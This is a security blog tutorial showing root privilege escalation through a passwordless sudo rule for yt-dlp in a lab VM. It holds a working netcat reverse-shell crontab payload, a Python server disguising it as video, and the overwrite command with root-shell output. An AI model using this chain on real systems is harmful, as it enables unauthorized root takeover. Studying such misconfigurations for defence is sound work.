[Part #1] Think like a hacker - Abusing yt-dlp for privilege escalation

By 0xhamy 10:00 PM - November 23rd 2025
[Part #1] Think like a hacker  - Abusing yt-dlp for privilege escalation

This series of research is going to focus on how you can operate like an adversary by abusing privileges, escalating severity of low impact flaws to critical vulnerabilities and anti-virus evasion techniques.


Passwordless sudo

On Linux operating systems, we can configure a binary to run as root without password. This often has some legitimate use cases especially when administrators operate from a trust-based 'security' model where users are trusted to run certain actions as root with or without their password.
The GTFOBins project describes several tools and binaries that can lead to privilege escalation if users run them as root.


How to think like a hacker

As a hacker, the first thing you should ask is "what's not covered in GTFOBins?" and how I can contribute to the project by creating a novel privilege escalation approach by abusing a binary. I looked into the list to find all binaries that provide file download functionality. After that I used downloader GitHub topic to find all repositories that use this topic/tag.
The first result I noticed was yt-dlp, it has over 136,000 stars, it's heavily used and I had used a similar tool called youtube-dl.

Once I found this tool, I looked into its documentation to see how I can save files and I noticed the following:

--force-overwrites              Overwrite all video and metadata files. This option includes --no-continue
-o, --output [TYPES:]TEMPLATE   Output filename template; see "OUTPUT TEMPLATE" for details

From here I knew that we can use custom names to save a file and overwrite existing files if they exist.

Misconfiguration

We can abuse this if there is a misconfiguration that allows a non-root user to run yt-dlp as root, for example here is a command output that shows we can run vboxuser as root without password:

vboxuser@Kub:~$ sudo -l
Matching Defaults entries for vboxuser on Kub:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User vboxuser may run the following commands on Kub:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/yt-dlp

Reproduce steps

To make this reproducible on your end, download yt-dlp for your operating system, for Linux x64 I downloaded this yt-dlp which worked great.

Extract the archive and then move the binary to /usr/bin/* so that you can execute it as a command:

sudo mv /home/vboxuser/Downloads/yt-dlp_linux /usr/bin/yt-dlp

Make it executable for all users:

$ sudo chmod 755 /usr/bin/yt-dlp
$ ls -la /usr/bin/yt-dlp
-rwxr-xr-x 1 vboxuser vboxuser 36219296 Nov 23 21:29 /usr/bin/yt-dlp

Run sudo visudo and then add the following lines to the bottom of the file:

# Allow vbox user to run yt-dlp as root without password
vboxuser ALL=(root) NOPASSWD: /usr/bin/yt-dlp

Try to see if you can run yt-dlp as root vs mv:

$ sudo /usr/bin/yt-dlp

Usage: yt-dlp [OPTIONS] URL [URL...]

yt-dlp: error: You must provide at least one URL.
Type yt-dlp --help to see a list of all options.

$ sudo mv
[sudo] password for vboxuser: 

Creating payload

We are going to abuse yt-dlp to download a payload and save it as /etc/crontab which is going overwrite the contents of that file. For that reason, we need a payload compatible with what cronjob expects, here is an example:

SHELL=/bin/sh
* * * * * root rm -f /tmp/.sh; mkfifo /tmp/.sh; cat /tmp/.sh | /bin/bash -i 2>&1 | nc 10.0.2.15 4242 > /tmp/.sh

This uses netcat to establish a bash reverse shell. Save that file as payload.txt

Creating server

yt-dlp is specifically designed for Downloading videos and mostly YouTube videos, so we need to create a server that would trick yt-dlp into thinking that the payload we are serving is actually a video and not a text file.

To do that, create server.py with the following content:

#!/usr/bin/env python3
import http.server
import socketserver
import os

HOST = "0.0.0.0"
PORT = 8000

PAYLOAD_FILE = "payload.txt"
SERVE_PATH = "/fake-video.mp4"

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == SERVE_PATH:
            try:
                with open(PAYLOAD_FILE, "rb") as f:
                    data = f.read()

                self.send_response(200)
                # Make it look like a downloadable media file
                self.send_header("Content-Type", "video/mp4")
                self.send_header("Content-Disposition", 'attachment; filename="fake-video.mp4"')
                self.send_header("Content-Length", str(len(data)))
                self.end_headers()
                self.wfile.write(data)
                print(f"Served {PAYLOAD_FILE} for path {self.path}")
            except FileNotFoundError:
                self.send_error(404, "Payload file not found")
        else:
            self.send_error(404, "Not Found")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    with socketserver.TCPServer((HOST, PORT), Handler) as httpd:
        print(f"Serving on http://{HOST}:{PORT}{SERVE_PATH}")
        httpd.serve_forever()

Your server.py and payload.txt must be on the same directory. Start serving payload by running server.py.

Setup listener

Setup netcat or metasploit listener to receive a root shell:

nc -lnvp 4242

Run yt-dlp as root so that you can overwrite contents of /etc/crontab with contents of payload.txt:

sudo /usr/bin/yt-dlp --force-generic-extractor --force-overwrites -o "/etc/crontab" "http://localhost:8000/fake-video.mp4"

Getting root shell:

vboxuser@Kub:~/Desktop$ nc -lnvp 4242
Listening on 0.0.0.0 4242
Connection received on 10.0.2.15 55952
bash: cannot set terminal process group (56282): Inappropriate ioctl for device
bash: no job control in this shell
root@Kub:~# whoami
whoami
root
root@Kub:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Kub:~#


Conclusion

This was just one instance of how a very popular binary can be abused but there is a lot more that I haven't looked into, if you want to practice this, use GitHub topics to look for other targets.

Besides yt-dlp, there is also youtube-dl which has a very similar functionality to yt-dlp, it's used for downloading videos with nearly identical help page. However youtube-dl does not allow file overwriting. This is still not a vulnerability, it's just by design.